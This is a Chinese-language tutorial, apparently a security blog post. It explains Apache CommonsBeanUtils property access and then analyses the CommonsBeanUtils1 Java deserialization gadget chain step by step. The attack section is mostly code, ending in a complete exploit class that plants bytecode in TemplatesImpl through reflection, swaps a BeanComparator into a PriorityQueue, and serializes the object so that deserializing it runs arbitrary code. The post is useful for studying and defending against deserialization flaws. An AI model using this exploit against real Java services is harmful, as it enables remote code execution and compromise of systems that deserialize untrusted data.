CommonsBeanUtils介绍
CommonsBeanUtils是Apache Commons中的一个组件,主要用于处理JavaBean的操作。 它提供了一系列工具类和方法,帮助开发者动态地获取和设置JavaBean的属性,简化了编程工作
首先是功能方面:
- 属性操作:提供了PropertyUtiles类,可以动态的获取和设置javaBean的属性,例如
PropertyUtils.getProperty(object, "property")
可以调用对象的getter方法,获取属性值。 - 类型转化:提供类型转化工具,如ConvertUtils,可以将一种类型的对象转换成另一种类型。
- 比较器:BeanComparator类实现了Comparator接口,用于在集合中对javaBean对象进行排序
javaBean介绍
上面提到了javaBean对象,那么javaBean对象是什么呢?
javaBean是一种java的软件组件模型, 它通过封装属性和方法成为具有某种功能或处理某个业务的对象。
我理解起来就是,在一个public的java类中,有无参的构造函数,并且存在一个或者多个private的属性,而且提供了公开的get/set方法的类就是javaBean。也就是下面三个要素
- 该java类是公共的并且具有无参构造函数
- 存在一个或者多个私有的属性
- 有公开的getter与setter方法。
使用CommonsBeanUtils进行调用javaBean事例及源码调试
cat.java
package org.example;
public class cat {
private String name = "follycat";
public cat(){}
public String getName(){
return name;
}
}
main.java
package org.example;
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
public class Main {
public static void main(String[] args) throws Throwable {
cat cat = new cat();
System.out.println(PropertyUtils.getProperty(cat,"name"));
}
}
调用过后可以直接输出name的值,因为可以直接找到cat类中name的get方法。
可以进行调试一下,来看commonsBeanUtils是怎么进行调用name类的get方法的。
首先进入.getProperty,
现在可以看到参数bean是cat类,name参数还是name。
然后继续步入,走到PropertyUitlsBean中的getProperty方法。
主要是这一段
while (resolver.hasNested(name)) {
String next = resolver.next(name);
Object nestedBean = null;
if (bean instanceof Map) {
nestedBean = getPropertyOfMapBean((Map<?, ?>) bean, next);
} else if (resolver.isMapped(next)) {
nestedBean = getMappedProperty(bean, next);
} else if (resolver.isIndexed(next)) {
nestedBean = getIndexedProperty(bean, next);
} else {
nestedBean = getSimpleProperty(bean, next);
}
if (nestedBean == null) {
throw new NestedNullException
("Null property value for '" + name +
"' on bean class '" + bean.getClass() + "'");
}
bean = nestedBean;
name = resolver.remove(name);
}
if (bean instanceof Map) {
bean = getPropertyOfMapBean((Map<?, ?>) bean, name);
} else if (resolver.isMapped(name)) {
bean = getMappedProperty(bean, name);
} else if (resolver.isIndexed(name)) {
bean = getIndexedProperty(bean, name);
} else {
bean = getSimpleProperty(bean, name);
}
return bean;
调试之后可以发现while(resolver.hasNested(name))是直接为false的,没有进入while循环中,然后因为bean不为map,引索,以及映射的属性,于是就进入了getSimpleProperty中
继续跟进到getSimpleProperty中,然后看到getPropertyDescriptor
其实可以看到在invokeMethod之前的readMethod中已经被赋值为了getName。
差不多是在这里
其中的getPropertyDescriptors()
方法用于获取类的所有属性的描述符。每个 PropertyDescriptor
提供了有关该属性的详细信息,包括其名称、getter 方法、setter 方法等。
也就是这里的信息开始有了getName方法
然后返回到getDescriptor中对获取到的getName以及其他方法进行遍历,最后返回我们所需要的那个类。
最后在这里的InvokeMethod进行执行。
跟进之后可以看到
最后返回的value就是执行后的getName的返回值了。
链子分析
尾部
既然已经知道了CommonsBeanUtils是如何调用getter方法的,现在就可以利用他进行调用任意getter方法了。
可以看到cc3的链子,这条链子之前我自己分析的时候只分析到了newTransformer方法,然后直接使用cc1中的InvokeTransformer的后半条链进行调用了他的newTransformer,这里可以继续往下面分析。
现在如果有一个getter方法调用了TemplatesImpl的newTransform方法,我们就可以通过PropertyUtils.getProperty调用getter方法,然后使用动态加载 TemplatesImpl 字节码的方式进行攻击的。
这个getter方法就是getOutputProperties,他就在newTransform的下面,并且他完全符合PropertyUtils.getProperty的调用方式。
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
所以这条链子的尾部就已经完成了,就是使用PropertyUtils.getProperty调用TemplatesImpl的getOutputProperties方法,然后进行动态字节码加载执行代码
测试代码:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CommonsBeanUtils1 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc=templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));
}
}
成功弹出计算器。
中间与前半部分
现在就是要从PropertyUtils.getProperty出发,继续寻找调用了他的链子。
可以找到BeanComparetor的compare方法,这里调用了PropertyUtils.getProperty
测试代码
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CommonsBeanUtils1 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc=templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
// System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));
BeanComparator beanComparator = new BeanComparator("outputProperties");
beanComparator.compare(templates,templates);
}
}
成功弹出计算器
随后继续查找有谁调用了compare,看到PriorityQueue
这个类中的siftDownUsingComparator()
方法。这个方法调用了compare()
其实这前半部分和cc4中的前半段是一样的。
exp
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CommonsBeanUtils1 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc=templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
// System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));
BeanComparator beanComparator = new BeanComparator("outputProperties");
// beanComparator.compare(templates,templates);
TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));
PriorityQueue priorityQueue=new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Class c = priorityQueue.getClass();
Field field = c.getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue,beanComparator);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}